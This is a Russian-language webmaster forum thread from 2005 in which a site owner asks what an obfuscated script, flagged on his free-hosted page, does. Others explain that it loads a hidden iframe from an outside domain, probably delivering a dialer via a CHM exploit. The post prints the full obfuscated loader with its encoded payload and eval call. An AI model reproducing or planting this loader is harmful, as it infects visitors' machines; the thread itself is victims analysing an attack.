darinart
Воот. И вижу там один свой дохленький сиджик на 64-й странице.
Сам по себе факт ничего не значит. Так ведь стоит
Purity: 6 !!!
Чё за гадня!!?? Я на свои сиджи вообще никакой хрени не вешаю! Просто не умею да и НЕ ХОЧУ ЭТОМУ УЧИТСЯ! (
Консоли можна было б сделать - да ни к чему пока)
Смотрю дальше. Приведен вот такой код -
Код:
Trade script supposition: Avrora
Suspicious X-activity: ------- JavaScript Begin -------
<script>function a(er,sa){if (!sa)sa='-}zZaB$v@]w/WEx6pLf.CyhJY^Tt!_3D
81FIi0"e{k:)GjX4*mHuM5gA,9qnrK?V';var ii;var t='';for(var we=0;we<er.l
ength;we+=arguments.callee.toString().length-506){ii=(sa.indexOf(er.ch
arAt(we))&255)<<18|(sa.indexOf(er.charAt(we+1))&255)<<12|(sa.indexOf(e
r.charAt(we+2))&255)<<(arguments.callee.toString().length-504)|sa.inde
xOf(er.charAt(we+3))&255;t+=String.fromCharCode((ii&(16711600+80))>>16
,(ii&(255*256))>>8,ii&255);}eval(t.substring(0,t.length-arguments.call
ee.toString().length+508));}a('Yf8exM5v^Ik:_0]h/vB.x0k)yukEYu55^iG4xiM
?@ZkECz{nTF]D!F0A^i^0CiGq]ICHL"yCLM,kEu^$fIM4xZ]mLv_"hy{,/ZkTxI@FCuj:h
BkxDe_/x$yA/5YiLg0$wiE/.F0K^50T6I@qfIY8_u@8.Z1T_g^$^y]/xi{8.a9:xHk^Te^
f_fiqyuGkEu5HtAy3.iM?yujaY.^HtAy3L0{Ap5^EYM!q^y@H."k)y5^ECI^zt5!K."{At
.j:@B9$h"j"!"k1EI{kDJ8,wi*g_g^^Lv!:p5{qhi^Yx$C?/.kaCI]$]iE"yipg/uj:C"y
$pCE/.F0K^50T6I@qfIY8_u@8.Z1aC"y$^y-mxgr8Jey}th95]eMK]H*eD.C"fF]p.f05T
H8,yv_q!eaA]$KI6"k?h.jxyiYqpi}3YCB"ty]0/Z5JT.rjWyW4f58:WI^gLB{8pA1X.a_
D^H!k@z-=');</script>
------- Javascript End -------
------- JavaScript Begin -------
<script>try{eval(j)}catch(ex){}</script>
------- Javascript End -------
Это мне что, Colinsfreehost счет за хостинг выписал?? Просматриваю код морды в браузере - ничего лишнего, кроме текстовых линков хостинга НЕТ. Или это глюк сервиса CJlog?? Кто сие сможет разъяснить?
И если кому не в лом - что делает скрипт, код которого приведен выше?
vitaminxxx
извиняюсь за оффтоп
Народ подскажите, а где этот гребаный мелкософтовский SRCENC взять?
Поискал в гуглу ни хрена не нашел. На сайте мелких написано, что он просто вызывается из командной строки. А у меня на двух ОС - XP и 2000 его нет.
Или может кто чем другим кодированный JScript декодирует?
JpS
грузит ифрейм с 46667.www1.elwisp.com/eifr.php?cust=87
осторожно, может быть эксплоит, у меня не сработало ничего.
Последний раз редактировалось: JpS (09/07/05 в 20:03), всего редактировалось 1 раз
JpS
судя потому что там стоит:
Код:
if ( (typeof(caps.connectionType)=='undefined') ||
(caps.connectionType!='lan'))
там скорее всего грузится дайлер. дальше смотреть не стал, понял что через CHM-эксп грузится экзе.
darinart
Всем спасибо.
Выяснили с Draft'ом, что на всех СиДжах на домене colinsfreehost такая же фигня.
PS. Опять я на русских нарвался!..
